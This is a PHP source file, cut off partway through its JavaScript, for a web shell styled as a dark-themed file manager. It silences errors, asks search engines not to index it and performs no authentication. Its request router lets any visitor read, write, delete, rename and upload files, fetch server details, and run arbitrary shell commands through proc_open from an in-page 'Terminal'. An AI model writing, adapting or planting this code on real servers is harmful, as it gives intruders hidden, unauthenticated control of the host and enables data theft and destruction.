<?php
@error_reporting(0);@ini_set('display_errors',0);@set_time_limit(0);
$_v=chr(95).chr(95);

$a=$_REQUEST['a']??'';
$b=$_REQUEST['b']??'.';
$c=$_POST['c']??'';
$d=$_POST['d']??'';
$e=$_FILES['e']??null;

#region ---- PATH RESOLVE ----
$fn_rp=function($p){
  $bd=$_SERVER['DOCUMENT_ROOT']??'/';
  if($p==='.'||$p===''){$x=@realpath(__DIR__)?:__DIR__;return$x;}
  if($p[0]==='/'){$x=@realpath($p);if($x&&strpos($x,$bd)===0)return$x;$x=@realpath(__DIR__.'/'.ltrim($p,'/'));return$x?:__DIR__;}
  $x=@realpath(__DIR__.'/'.$p);
  return$x?:__DIR__.'/'.$p;
};
$rp=$fn_rp($b);
#endregion

#region ---- API ROUTER ----
if($a==='L'){
  $i=@scandir($rp);if(!$i){echo"ERROR";exit;}
  $o=[];foreach($i as $f){if($f==='.'||$f==='..')continue;
    $fp=$rp.'/'.$f;$t=@is_dir($fp)?'D':'F';$s=$t==='D'?0:(@filesize($fp)?:0);
    $w=@is_writable($fp)?'1':'0';$p=@substr(@sprintf('%o',@fileperms($fp)),-4);
    $m=@date('Y-m-d H:i',@filemtime($fp));$o[]="$t|$w|$s|$p|$m|$f";}
  echo implode("\n",$o);exit;
}
if($a==='R'&&$c!==''){echo @file_get_contents($rp.'/'.$c);exit;}
if($a==='W'&&$c!==''){@file_put_contents($rp.'/'.$c,$d);echo'OK';exit;}
if($a==='D'&&$c!==''){$fp=$rp.'/'.$c;
  if(@is_dir($fp)){$it=new RecursiveDirectoryIterator($fp,1);$fs=new RecursiveIteratorIterator($it,1);foreach($fs as $f){$f->isDir()?@rmdir($f->getRealPath()):@unlink($f->getRealPath());}@rmdir($fp);}else @unlink($fp);
  echo'OK';exit;}
if($a==='M'&&$c!==''){@mkdir($rp.'/'.$c);echo'OK';exit;}
if($a==='N'&&$c!==''&&$d!==''){@rename($rp.'/'.$c,$rp.'/'.$d);echo'OK';exit;}
if($a==='U'&&$e&&!empty($e['tmp_name'][0]??'')){
  $ok=0;$er=0;
  for($i=0;$i<count($e['name']);$i++){
    if(!empty($e['tmp_name'][$i])){if(@move_uploaded_file($e['tmp_name'][$i],$rp.'/'.$e['name'][$i]))$ok++;else$er++;}
  }
  echo"OK:$ok/$er";exit;
}
if($a==='X'&&$d!==''){$h=@proc_open($d.' 2>&1',[['pipe','r'],['pipe','w'],['pipe','w']],$p);if(@is_resource($h)){$o=@stream_get_contents($p[1]);@fclose($p[1]);@fclose($p[2]);@proc_close($h);echo $o?$o:'[no output]';}else echo'[failed]';exit;}
if($a==='I'){echo@php_uname().'|'.@getcwd().'|'.($_SERVER['SERVER_SOFTWARE']??'?').'|'.PHP_VERSION.'|'.__DIR__;exit;}
if($a==='P'){$x=$_POST['c']??$_REQUEST['b']??'.';$rp2=$fn_rp($x);echo @realpath($rp2)?:$rp2;exit;}
if($a==='S'){echo @is_writable($rp)||@is_writable(dirname($rp))?'1':'0';exit;}
#endregion

#region ---- BUILD FILE LIST ----
$items=[];$err='';
$scan=@scandir($rp);
if(!$scan){$err="Cannot read directory";}else{
  foreach($scan as $f){if($f==='.'||$f=='..')continue;
    $fp=$rp.'/'.$f;$t=@is_dir($fp);$s=$t?0:(@filesize($fp)?:0);
    $w=@is_writable($fp);$p=@substr(@sprintf('%o',@fileperms($fp)),-4);
    $m=@date('Y-m-d H:i',@filemtime($fp));$items[]=[$f,$t,$s,$w,$p,$m];}
  @usort($items,function($a,$b){return $a[1]==$b[1]?@strcasecmp($a[0],$b[0]):($a[1]?-1:1);});
}
#endregion

#region ---- HELPERS ----
function _h($s){return@htmlspecialchars($s??'',ENT_QUOTES|ENT_SUBSTITUTE);}
function _fs($b){if($b<1024)return$b.' B';if($b<1048576)return round($b/1024,1).' KB';if($b<1073741824)return round($b/1048576,1).' MB';return round($b/1073741824,1).' GB';}
function _ic($n,$d){if($d)return'📁';
  $e=strtolower(pathinfo($n,PATHINFO_EXTENSION));
  $m=['php'=>'🐘','js'=>'📜','ts'=>'📘','html'=>'🌐','css'=>'🎨','py'=>'🐍','sql'=>'🗄','txt'=>'📄','md'=>'📝','json'=>'📋','xml'=>'📰','yml'=>'⚙','yaml'=>'⚙','env'=>'🔐','cfg'=>'⚙','conf'=>'⚙','ini'=>'⚙','htaccess'=>'🔒','jpg'=>'🖼','jpeg'=>'🖼','png'=>'🖼','gif'=>'🖼','svg'=>'🖼','webp'=>'🖼','ico'=>'🖼','bmp'=>'🖼','pdf'=>'📕','zip'=>'📦','gz'=>'📦','tar'=>'📦','rar'=>'📦','7z'=>'📦','bz2'=>'📦','xz'=>'📦','mp3'=>'🎵','wav'=>'🎵','flac'=>'🎵','aac'=>'🎵','ogg'=>'🎵','mp4'=>'🎬','avi'=>'🎬','mkv'=>'🎬','mov'=>'🎬','webm'=>'🎬','sh'=>'💻','bat'=>'💻','exe'=>'⚡','dll'=>'🔧','so'=>'🔧','log'=>'📊','lock'=>'🔒','sqlite'=>'🗄','db'=>'🗄','ttf'=>'🔤','woff'=>'🔤','woff2'=>'🔤','eot'=>'🔤','otf'=>'🔤'];
  return$m[$e]??'📄';
}
function _relp($abs){$d=rtrim(__DIR__,'/');$a=rtrim($abs,'/');
  if($a===$d||$a==='')return'.';
  if(strpos($a.'/',$d.'/')===0)return substr($a,strlen($d)+1);
  $ap=explode('/',$a);$dp=explode('/',$d);
  $i=0;while(isset($ap[$i],$dp[$i])&&$ap[$i]===$dp[$i])$i++;
  $up=count($dp)-$i;$dn=array_slice($ap,$i);
  $r=str_repeat('../',$up).implode('/',$dn);
  return rtrim($r,'/')?:'.';}
function _bc($rp){$a=@realpath($rp)?:$rp;$a=rtrim($a,'/');
  $p=explode('/',$a);$o='<a href="?b=." class="bca" title="Home">🏠</a>';$cur='';$n=count($p);
  $last=$n-1;while($last>=0&&$p[$last]==='')$last--;
  foreach($p as $i=>$s){if($s==='')continue;
    $cur.=($cur?'/':'').$s;
    $o.=' <span class="bcs">›</span> ';
    if($i===$last){$o.='<b class="bcm">'._h($s).'</b>';}
    else{$rel=_relp($cur);$o.='<a href="?b='._h(urlencode($rel)).'" class="bca">'._h($s).'</a>';}
  }
  $o.=' <span style="color:var(--dm);font-size:9px;margin-left:10px;opacity:.6">'._h($a).'</span>';
  return$o;}
function _je($s){return str_replace(["\\","'","\n","\r"],["\\\\","\\'","\\n","\\r"],$s);}
#endregion

#region ---- URL helper (FIXED) ----
// $up for building folder URL parameters — THE CRITICAL FIX
// When $b='.', $up=''  (was '/' which broke everything)
// When $b='sub', $up='sub/'
$up=($b==='.'||$b==='')?'':($b.'/');

// Parent directory
if($b==='.'||$b===''){$pr='..';}
elseif(strpos($b,'/')===false){$pr='.';}
else{$pr=dirname($b);}
#endregion

#region ---- STATS ----
$dirC=0;$fileC=0;$totalS=0;
foreach($items as $x){if($x[1])$dirC++;else{$fileC++;$totalS+=$x[2];}}
#endregion

?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<meta name="robots" content="noindex,nofollow">
<title>📂 <?=_h($b==='.'?'/':$b)?></title>
<style>
:root{
  --bg:#0d1117;--bg2:#161b22;--bg3:#21262d;--bd:#30363d;--tx:#c9d1d9;
  --tx2:#8b949e;--ac:#58a6ff;--gr:#3fb950;--rd:#f85149;--or:#d29922;
  --dm:#484f58;--bg4:rgba(88,166,255,.06);--bg5:rgba(248,81,73,.08);
}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--tx);font:13px/1.6 'SF Mono','Fira Code','Cascadia Code',Consolas,monospace;min-height:100vh;display:flex;flex-direction:column}
::selection{background:rgba(88,166,255,.3)}
::-webkit-scrollbar{width:6px;height:6px}
::-webkit-scrollbar-track{background:var(--bg)}
::-webkit-scrollbar-thumb{background:var(--bd);border-radius:3px}
::-webkit-scrollbar-thumb:hover{background:var(--tx2)}

/* ---- HEADER ---- */
.hdr{background:var(--bg2);border-bottom:1px solid var(--bd);padding:0}
.hdr-in{max-width:1400px;margin:0 auto;display:flex;align-items:center;gap:2px;padding:6px 12px;flex-wrap:wrap}
.hdr-in>*{flex-shrink:0}
.hdr-in .sep{width:1px;height:20px;background:var(--bd);margin:0 4px}
.hdr-in .sp{flex:1;min-width:20px}

/* ---- BUTTONS ---- */
.btn,a.btn{display:inline-flex;align-items:center;gap:4px;color:var(--tx2);text-decoration:none;font:11px/1 monospace;padding:5px 10px;border-radius:5px;background:var(--bg3);border:1px solid var(--bd);cursor:pointer;white-space:nowrap;transition:all .15s}
.btn:hover,a.btn:hover{color:var(--tx);border-color:var(--ac);background:var(--bg4)}
.btn.dg{color:var(--rd);border-color:transparent;background:transparent}
.btn.dg:hover{background:var(--bg5);border-color:var(--rd)}
.btn.primary{background:var(--ac);border-color:var(--ac);color:#fff}
.btn.primary:hover{background:#388bfd;border-color:#388bfd}
.btn.accent{background:var(--gr);border-color:var(--gr);color:#fff}
.btn.accent:hover{filter:brightness(1.2)}

/* ---- INPUTS ---- */
.inp,.hdr-in input,.hdr-in select{background:var(--bg);border:1px solid var(--bd);color:var(--tx);padding:5px 10px;border-radius:5px;font:11px monospace;outline:none;transition:border-color .15s}
.inp:focus,.hdr-in input:focus,.hdr-in select:focus{border-color:var(--ac)}
.inp-s{width:180px}
.inp-m{width:260px}

/* ---- BREADCRUMB ---- */
.brd{max-width:1400px;margin:0 auto;padding:8px 12px 0}
.brd-in{background:var(--bg);padding:8px 14px;border:1px solid var(--bd);border-radius:6px;font-size:12px;overflow-x:auto;white-space:nowrap;display:flex;align-items:center;gap:2px;margin-bottom:8px}
.bca{color:var(--ac);text-decoration:none;font-weight:500}
.bca:hover{text-decoration:underline;color:#79c0ff}
.bcm{color:var(--tx);font-weight:600}
.bcs{color:var(--dm);margin:0 4px;font-size:14px}

/* ---- MAIN TABLE ---- */
.main{max-width:1400px;margin:0 auto;padding:0 12px;flex:1}
.tbl-w{background:var(--bg2);border:1px solid var(--bd);border-radius:8px;overflow:hidden}
.tbl-h{background:var(--bg3);padding:8px 14px;border-bottom:1px solid var(--bd);display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.tbl-h .st{color:var(--tx2);font-size:10px;text-transform:uppercase;letter-spacing:.5px}
.tbl-h .st b{color:var(--tx)}
table{width:100%;border-collapse:collapse}
th{background:var(--bg3);color:var(--tx2);font-weight:600;font-size:10px;text-transform:uppercase;letter-spacing:.4px;padding:8px 12px;text-align:left;border-bottom:2px solid var(--bd);cursor:pointer;user-select:none;position:sticky;top:0;z-index:1}
th:hover{color:var(--ac)}
th .sa{color:var(--ac);margin-left:2px}
td{padding:7px 12px;border-bottom:1px solid rgba(48,54,61,.5);font-size:12px}
tr:last-child td{border-bottom:none}
tr:hover td{background:var(--bg4)}
tr.sel td{background:rgba(88,166,255,.12)}
.dir-link{color:var(--ac);font-weight:600;text-decoration:none;display:inline-flex;align-items:center;gap:6px}
.dir-link:hover{text-decoration:underline;color:#79c0ff}
.dir-link .dn{max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.file-row{color:var(--tx)}
.fext{color:var(--dm);font-size:10px;margin-left:4px}
.icon-col{width:36px;text-align:center;font-size:15px;padding:7px 4px!important}
.sz-col{text-align:right;white-space:nowrap;color:var(--tx2)}
.pm-col{text-align:center;font-size:10px;color:var(--tx2);font-family:monospace}
.dt-col{font-size:10px;color:var(--tx2);white-space:nowrap}
.rw-col{text-align:center}
.rw-y{color:var(--gr);font-weight:bold}
.rw-n{color:var(--dm)}
.act-col{text-align:right;white-space:nowrap;width:130px}
.act-col a,.act-col button{color:var(--tx2);text-decoration:none;margin:0 2px;font-size:10px;padding:3px 7px;border-radius:4px;border:1px solid transparent;background:transparent;cursor:pointer;display:inline-block;transition:all .15s}
.act-col a:hover,.act-col button:hover{color:var(--tx);background:var(--bg3);border-color:var(--bd)}
.act-col .act-dl{color:var(--gr)}
.act-col .act-dl:hover{color:#56d364;border-color:var(--gr)}
.act-col .act-rm{color:var(--rd)}
.act-col .act-rm:hover{color:#ff6b6b;border-color:var(--rd);background:var(--bg5)}

/* ---- EMPTY / ERROR ---- */
.empty{text-align:center;padding:40px 20px;color:var(--dm);font-size:13px}
.empty .big{font-size:40px;display:block;margin-bottom:8px}
.err-box{background:rgba(248,81,73,.1);border:1px solid var(--rd);color:#fdaeb7;padding:10px 14px;border-radius:6px;margin:8px 12px;font-size:11px;display:flex;align-items:center;gap:8px}

/* ---- MODALS ---- */
.modal{display:none;position:fixed;inset:0;background:rgba(0,0,0,.75);z-index:1000;backdrop-filter:blur(2px)}
.modal.on{display:flex;align-items:center;justify-content:center;padding:20px}
.modal>div{background:var(--bg2);border:1px solid var(--bd);border-radius:10px;width:100%;max-height:85vh;display:flex;flex-direction:column;overflow:hidden;box-shadow:0 20px 60px rgba(0,0,0,.5)}
.modal-lg{max-width:800px}
.modal-md{max-width:550px}
.modal-sm{max-width:400px}
.modal-h{padding:12px 16px;border-bottom:1px solid var(--bd);display:flex;align-items:center;gap:10px;font-size:12px;font-weight:600}
.modal-h span{flex:1}
.modal-h .close{color:var(--tx2);cursor:pointer;font-size:20px;text-decoration:none;line-height:1;padding:0 4px}
.modal-h .close:hover{color:var(--tx)}
.modal-body{padding:16px;overflow:auto;flex:1}
.modal-body textarea,.modal-body input[type=text]{width:100%;background:var(--bg);border:1px solid var(--bd);color:var(--tx);padding:10px;font:12px/1.6 monospace;border-radius:6px;outline:none;resize:vertical}
.modal-body textarea{min-height:300px;height:55vh}
.modal-body textarea:focus,.modal-body input:focus{border-color:var(--ac)}
.modal-ft{padding:10px 16px;border-top:1px solid var(--bd);display:flex;gap:8px;justify-content:flex-end}
.modal-ft button,.modal-ft .btn{padding:6px 16px;border-radius:6px;font:11px monospace;cursor:pointer;border:1px solid var(--bd);background:var(--bg3);color:var(--tx);text-decoration:none;transition:all .15s}
.modal-ft button:hover,.modal-ft .btn:hover{border-color:var(--ac)}
.modal-ft .btn-save{background:var(--ac);border-color:var(--ac);color:#fff}
.modal-ft .btn-save:hover{background:#388bfd}
.modal-ft .btn-danger{background:var(--rd);border-color:var(--rd);color:#fff}
.modal-ft .btn-danger:hover{background:#ff6b6b}

/* ---- TERMINAL ---- */
.term-wrap{background:var(--bg);border:1px solid var(--bd);border-radius:6px;overflow:hidden}
.term-out{background:#0a0e14;padding:12px;min-height:250px;max-height:45vh;overflow:auto;font:11px/1.5 monospace;color:var(--gr);white-space:pre-wrap;word-break:break-all}
.term-out .prompt{color:var(--ac)}
.term-out .err-line{color:var(--rd)}
.term-in{display:flex;gap:8px;padding:10px;background:var(--bg)}
.term-in input{flex:1;background:#0a0e14;border:1px solid var(--bd);color:var(--tx);padding:6px 12px;font:12px monospace;border-radius:4px;outline:none}
.term-in input:focus{border-color:var(--ac)}

/* ---- DROP ZONE ---- */
.drop-zone{display:none;position:fixed;inset:0;background:rgba(88,166,255,.08);border:3px dashed var(--ac);z-index:999;align-items:center;justify-content:center;font-size:24px;color:var(--ac);pointer-events:none;border-radius:0}
.drop-zone.on{display:flex}
.drop-zone .dz-in{background:var(--bg2);padding:20px 40px;border-radius:12px;text-align:center}

/* ---- TOAST ---- */
.toast-container{position:fixed;bottom:20px;right:20px;z-index:2000;display:flex;flex-direction:column;gap:8px}
.toast{padding:10px 18px;border-radius:8px;font-size:12px;color:#fff;box-shadow:0 8px 24px rgba(0,0,0,.4);animation:toastIn .25s ease;max-width:380px;display:flex;align-items:center;gap:8px}
.toast.ok{background:#1a3e2a;border:1px solid var(--gr)}
.toast.er{background:rgba(248,81,73,.2);border:1px solid var(--rd)}
.toast.warn{background:rgba(210,153,34,.2);border:1px solid var(--or);color:var(--or)}
@keyframes toastIn{from{opacity:0;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}
@keyframes toastOut{from{opacity:1}to{opacity:0;transform:translateX(20px)}}

/* ---- FOOTER ---- */
.ftr{text-align:center;padding:14px;color:var(--dm);font-size:10px;max-width:1400px;margin:0 auto;width:100%}

/* ---- RESPONSIVE ---- */
@media(max-width:768px){
  .hdr-in{gap:4px;padding:6px 8px}
  .hdr-in .sep{margin:0 1px}
  .btn,a.btn{padding:4px 7px;font-size:10px;gap:2px}
  .inp-s{width:120px}.inp-m{width:160px}
  td,th{padding:5px 6px;font-size:11px}
  .act-col a,.act-col button{padding:2px 4px;font-size:9px;margin:0 1px}
  .act-col{width:auto}
  .dir-link .dn{max-width:150px}
  .dt-col{display:none}
  .pm-col{display:none}
  .modal-lg,.modal-md,.modal-sm{max-width:95vw}
  .modal-body textarea{min-height:200px;height:40vh}
}
@media(max-width:480px){
  .sz-col{display:none}
  .dir-link .dn{max-width:100px}
}
</style>
</head>
<body>

<!-- ====== HEADER TOOLBAR ====== -->
<div class="hdr">
<div class="hdr-in">
  <a href="?b=<?=_h(urlencode($pr))?>" class="btn" title="Parent directory">⬆ Parent</a>
  <a href="?b=<?=_h(urlencode($b))?>" class="btn" title="Refresh">🔄 Refresh</a>
  <span class="sep"></span>
  <button class="btn" onclick="_nf()" title="New file (Ctrl+N)">📄 New File</button>
  <button class="btn" onclick="_nd()" title="New directory">📁 New Dir</button>
  <button class="btn" onclick="_shup()" title="Upload files (or drag & drop anywhere)">📤 Upload</button>
  <span class="sep"></span>
  <button class="btn" onclick="_sh('term')" title="Terminal (Ctrl+T)">💻 Terminal</button>
  <button class="btn" onclick="_sh('info')" title="Server info">ℹ Info</button>
  <span class="sep"></span>
  <button class="btn" onclick="_cp()" title="Copy current path">📋 Copy Path</button>
  <span class="sp"></span>
  <input type="text" class="inp inp-m" id="qp" placeholder="🔍 Filter files..." oninput="_flt()" autocomplete="off">
  <form method="get" style="display:inline-flex;gap:4px">
    <input type="text" name="b" class="inp inp-s" value="<?=_h($b)?>" placeholder="path...">
    <button type="submit" class="btn">Go</button>
  </form>
</div>
</div>

<!-- ====== BREADCRUMB ====== -->
<div class="brd"><div class="brd-in"><?=_bc($rp)?></div></div>

<!-- ====== ERROR ====== -->
<?php if($err):?>
<div class="err-box">⚠️ <?=_h($err)?> — <?=_h($rp)?></div>
<?php endif?>

<!-- ====== FILE TABLE ====== -->
<div class="main">
<div class="tbl-w">
<div class="tbl-h">
  <span class="st">📂 <b><?=$dirC?></b> dirs</span>
  <span class="st">📄 <b><?=$fileC?></b> files</span>
  <?php if($fileC):?><span class="st">💾 <b><?=_fs($totalS)?></b></span><?php endif?>
  <span class="sp"></span>
  <span class="st" style="font-size:9px;color:var(--dm)">click headers to sort</span>
</div>
<table id="ftable">
<thead>
<tr>
  <th class="icon-col" data-sort="0" onclick="_sort(0)"></th>
  <th data-sort="1" onclick="_sort(1)">Name <span class="sa" id="sa1"></span></th>
  <th class="sz-col" data-sort="2" onclick="_sort(2)">Size <span class="sa" id="sa2"></span></th>
  <th class="pm-col" data-sort="3" onclick="_sort(3)">Perm <span class="sa" id="sa3"></span></th>
  <th class="dt-col" data-sort="4" onclick="_sort(4)">Modified <span class="sa" id="sa4"></span></th>
  <th class="rw-col" data-sort="5" onclick="_sort(5)">W</th>
  <th class="act-col">Actions</th>
</tr>
</thead>
<tbody id="tbody">
<?php if(empty($items)&&!$err):?>
<tr><td colspan="7"><div class="empty"><span class="big">📭</span>Empty directory</div></td></tr>
<?php else: foreach($items as $idx=>$x): $d=$x[1];?>
<tr data-type="<?=$d?'dir':'file'?>" data-name="<?=_h($x[0])?>" data-size="<?=$x[2]?>" data-perm="<?=$x[4]?>" data-mtime="<?=$x[5]?>">
  <td class="icon-col"><?=_ic($x[0],$d)?></td>
  <td><?php if($d):?><a class="dir-link" href="?b=<?=_h(urlencode($up.$x[0]))?>"><span class="dn"><?=_h($x[0])?></span></a><?php else:?><span class="file-row"><?=_h($x[0])?></span><span class="fext">.<?=_h(pathinfo($x[0],PATHINFO_EXTENSION))?></span><?php endif?></td>
  <td class="sz-col"><?=$d?'—':_fs($x[2])?></td>
  <td class="pm-col"><?=$x[4]?></td>
  <td class="dt-col"><?=$x[5]?></td>
  <td class="rw-col"><?=$x[3]?'<span class="rw-y">✓</span>':'<span class="rw-n">—</span>'?></td>
  <td class="act-col">
    <?php if(!$d):?><a href="?b=<?=_h(urlencode($b))?>&dl=<?=_h(urlencode($x[0]))?>" class="act-dl" title="Download">⬇</a><?php endif?>
    <?php if(!$d):?><a href="#" class="act-ed" onclick="_ed('<?=_h(_je($x[0]))?>');return false" title="Edit">✏</a><?php endif?>
    <a href="#" class="act-rn" onclick="_rn('<?=_h(_je($x[0]))?>');return false" title="Rename">✎</a>
    <a href="#" class="act-rm" onclick="_rm('<?=_h(_je($x[0]))?>',<?=$d?'1':'0'?>);return false" title="Delete">✕</a>
  </td>
</tr>
<?php endforeach; endif?>
</tbody>
</table>
</div>

<div class="ftr"><?=@php_uname('n')?> &nbsp;·&nbsp; PHP <?=PHP_VERSION?> &nbsp;·&nbsp; CWD: <?=_h(__DIR__)?></div>
</div>

<!-- ====== DRAG & DROP OVERLAY ====== -->
<div class="drop-zone" id="dropzone"><div class="dz-in">📤 Drop files to upload</div></div>

<!-- ====== TOAST CONTAINER ====== -->
<div class="toast-container" id="toasts"></div>

<!-- ====== MODALS ====== -->

<!-- Edit -->
<div class="modal modal-lg" id="edpop">
<div><div class="modal-h"><span>✏ Edit: <b id="edname"></b></span><a class="close" onclick="_cl('edpop')">&times;</a></div>
<div class="modal-body"><textarea id="edcontent" placeholder="Loading..."></textarea></div>
<div class="modal-ft">
  <button onclick="_save()" class="btn-save">💾 Save (Ctrl+S)</button>
  <button onclick="_cl('edpop')">Cancel</button>
</div></div></div>

<!-- Upload -->
<div class="modal modal-md" id="uppop">
<div><div class="modal-h"><span>📤 Upload Files</span><a class="close" onclick="_cl('uppop')">&times;</a></div>
<div class="modal-body">
  <div id="updrop" style="border:2px dashed var(--bd);border-radius:8px;padding:30px;text-align:center;color:var(--tx2);cursor:pointer;transition:all .15s" onclick="document.getElementById('upinp').click()">
    <div style="font-size:36px;margin-bottom:8px">📤</div>
    <div>Click or drag files here</div>
    <div style="font-size:10px;margin-top:4px;color:var(--dm)">Multiple files supported</div>
  </div>
  <input type="file" id="upinp" multiple style="display:none">
  <div id="uplist" style="margin-top:10px;font-size:11px;max-height:120px;overflow:auto"></div>
  <div id="upprog" style="display:none;margin-top:10px">
    <div style="height:4px;background:var(--bg3);border-radius:2px;overflow:hidden"><div id="upbar" style="height:100%;background:var(--ac);width:0;transition:width .3s"></div></div>
  </div>
</div>
<div class="modal-ft">
  <button onclick="_updo()" class="btn-save" id="upbtn">📤 Upload</button>
  <button onclick="_cl('uppop')">Cancel</button>
</div></div></div>

<!-- Terminal -->
<div class="modal modal-lg" id="term">
<div><div class="modal-h"><span>💻 Terminal</span><a class="close" onclick="_cl('term')">&times;</a></div>
<div class="modal-body">
<div class="term-wrap">
  <div class="term-out" id="tout"><span class="prompt">$ </span>Type command and press Enter...</div>
  <div class="term-in">
    <span class="prompt" style="color:var(--ac);font:12px monospace;padding:6px 0">$</span>
    <input type="text" id="tin" placeholder="command..." onkeydown="if(event.key==='Enter')_run()">
    <button class="btn primary" onclick="_run()">Run</button>
  </div>
</div>
</div></div></div>

<!-- Info -->
<div class="modal modal-sm" id="info">
<div><div class="modal-h"><span>ℹ Server Info</span><a class="close" onclick="_cl('info')">&times;</a></div>
<div class="modal-body" id="ibody" style="line-height:2.2;font-size:12px">Loading...</div></div></div>

<!-- Rename -->
<div class="modal modal-sm" id="rnpop">
<div><div class="modal-h"><span>✎ Rename</span><a class="close" onclick="_cl('rnpop')">&times;</a></div>
<div class="modal-body">
  <input type="text" id="rnold" style="display:none">
  <label style="font-size:10px;color:var(--tx2);display:block;margin-bottom:4px">New name:</label>
  <input type="text" id="rnnew" style="width:100%">
</div>
<div class="modal-ft">
  <button onclick="_rndo()" class="btn-save">✓ Rename</button>
  <button onclick="_cl('rnpop')">Cancel</button>
</div></div></div>

<!-- New File -->
<div class="modal modal-sm" id="nfpop">
<div><div class="modal-h"><span>📄 New File</span><a class="close" onclick="_cl('nfpop')">&times;</a></div>
<div class="modal-body">
  <label style="font-size:10px;color:var(--tx2);display:block;margin-bottom:4px">Filename:</label>
  <input type="text" id="nfname" style="width:100%" placeholder="file.php">
</div>
<div class="modal-ft">
  <button onclick="_nfdo()" class="btn-save">✓ Create</button>
  <button onclick="_cl('nfpop')">Cancel</button>
</div></div></div>

<!-- New Dir -->
<div class="modal modal-sm" id="ndpop">
<div><div class="modal-h"><span>📁 New Directory</span><a class="close" onclick="_cl('ndpop')">&times;</a></div>
<div class="modal-body">
  <label style="font-size:10px;color:var(--tx2);display:block;margin-bottom:4px">Directory name:</label>
  <input type="text" id="ndname" style="width:100%" placeholder="new-folder">
</div>
<div class="modal-ft">
  <button onclick="_nddo()" class="btn-save">✓ Create</button>
  <button onclick="_cl('ndpop')">Cancel</button>
</div></div></div>

<!-- Confirm Delete -->
<div class="modal modal-sm" id="delpop">
<div><div class="modal-h"><span>⚠ Confirm Delete</span><a class="close" onclick="_cl('delpop')">&times;</a></div>
<div class="modal-body" style="text-align:center">
  <div style="font-size:40px;margin-bottom:8px">🗑</div>
  <div style="font-size:12px">Delete <b id="deltarget"></b>?</div>
  <div style="font-size:10px;color:var(--rd);margin-top:4px">This cannot be undone!</div>
</div>
<div class="modal-ft">
  <button onclick="_deldo()" class="btn-danger">🗑 Delete</button>
  <button onclick="_cl('delpop')">Cancel</button>
</div></div></div>

<script>
/* ========== GLOBALS ========== */
var _b='<?=_h(_je($b))?>';
var _upfiles=[];

/* ========== MODAL HELPERS ========== */
function _sh(id){var e=document.getElementById(id);if(e)e.classList.add('on');if(id==='term')document.getElementById('tin').focus();if(id==='info')_showInfo();if(id==='nfpop')document.getElementById('nfname').focus();if(id==='ndpop')document.getElementById('ndname').focus();if(id==='rnpop')document.getElementById('rnnew').focus();}
function _cl(id){var e=document.getElementById(id);if(e)e.classList.remove('on');}
function _toast(msg,type){
  var t=document.getElementById('toasts');
  var d=document.createElement('div');d.className='toast '+(type||'ok');
  d.textContent=msg;t.appendChild(d);
  setTimeout(function(){d.style.animation='toastOut .3s ease forwards';setTimeout(function(){d.remove();},300);},2500);
}

/* ========== API CALL ========== */
async function _api(a,c,d,fd){
  var f=new FormData();f.append('a',a);f.append('b',_b);
  if(c!==undefined)f.append('c',c);if(d!==undefined)f.append('d',d);
  if(fd){for(var i=0;i<fd.length;i++)f.append('e[]',fd[i]);}
  try{var r=await fetch('',{method:'POST',body:f});return await r.text();}
  catch(e){_toast('Network error: '+e.message,'er');return'ERROR';}
}

/* ========== FILE OPERATIONS ========== */
async function _ed(n){
  document.getElementById('edname').textContent=n;
  document.getElementById('edcontent').value='Loading...';
  _sh('edpop');
  var c=await _api('R',n);
  document.getElementById('edcontent').value=c;
  document.getElementById('edcontent').focus();
}
async function _save(){
  var n=document.getElementById('edname').textContent;
  var c=document.getElementById('edcontent').value;
  await _api('W',n,c);_cl('edpop');_toast('Saved: '+n);setTimeout(function(){location.reload();},400);
}

var _deltarget='',_delisdir=0;
function _rm(n,d){
  _deltarget=n;_delisdir=d;
  document.getElementById('deltarget').textContent=n+(d?' (directory)':'');
  _sh('delpop');
}
async function _deldo(){
  _cl('delpop');
  await _api('D',_deltarget);
  _toast('Deleted: '+_deltarget);setTimeout(function(){location.reload();},400);
}

function _rn(n){
  document.getElementById('rnold').value=n;
  document.getElementById('rnnew').value=n;
  _sh('rnpop');
  setTimeout(function(){document.getElementById('rnnew').select();},100);
}
async function _rndo(){
  var o=document.getElementById('rnold').value;
  var n=document.getElementById('rnnew').value.trim();
  if(!n||n===o){_cl('rnpop');return;}
  _cl('rnpop');
  await _api('N',o,n);
  _toast('Renamed: '+o+' → '+n);setTimeout(function(){location.reload();},400);
}

function _nf(){_sh('nfpop');setTimeout(function(){document.getElementById('nfname').focus();},100);}
async function _nfdo(){
  var n=document.getElementById('nfname').value.trim();
  if(!n){_cl('nfpop');return;}
  _cl('nfpop');
  await _api('W',n,'');
  _toast('Created: '+n);setTimeout(function(){location.reload();},400);
}

function _nd(){_sh('ndpop');setTimeout(function(){document.getElementById('ndname').focus();},100);}
async function _nddo(){
  var n=document.getElementById('ndname').value.trim();
  if(!n){_cl('ndpop');return;}
  _cl('ndpop');var r=await _api('M',n);
  _toast('Created: '+n+'/');setTimeout(function(){location.reload();},400);
}

/* ========== UPLOAD ========== */
function _shup(){
  _upfiles=[];document.getElementById('uplist').innerHTML='';
  document.getElementById('upprog').style.display='none';
  document.getElementById('upbar').style.width='0';
  _sh('uppop');
}
document.addEventListener('DOMContentLoaded',function(){
  _initDnD();
});

var _upDrop=null;
function _initDnD(){
  // In-modal drop
  var uz=document.getElementById('updrop');
  if(uz){
    uz.addEventListener('dragover',function(e){e.preventDefault();uz.style.borderColor='var(--ac)';uz.style.background='var(--bg4)';});
    uz.addEventListener('dragleave',function(){uz.style.borderColor='var(--bd)';uz.style.background='transparent';});
    uz.addEventListener('drop',function(e){e.preventDefault();uz.style.borderColor='var(--bd)';uz.style.background='transparent';_addFiles(e.dataTransfer.files);});
  }
  // Page-wide drop zone
  _upDrop=document.getElementById('dropzone');
  document.addEventListener('dragover',function(e){e.preventDefault();_upDrop.classList.add('on');});
  _upDrop.addEventListener('dragleave',function(){_upDrop.classList.remove('on');});
  _upDrop.addEventListener('drop',function(e){e.preventDefault();_upDrop.classList.remove('on');_addFiles(e.dataTransfer.files);_shup();});
  // File input change
  var fi=document.getElementById('upinp');
  if(fi)fi.addEventListener('change',function(){_addFiles(fi.files);});
}

function _addFiles(fl){
  for(var i=0;i<fl.length;i++)_upfiles.push(fl[i]);
  _renderUploadList();
}
function _renderUploadList(){
  var h='';
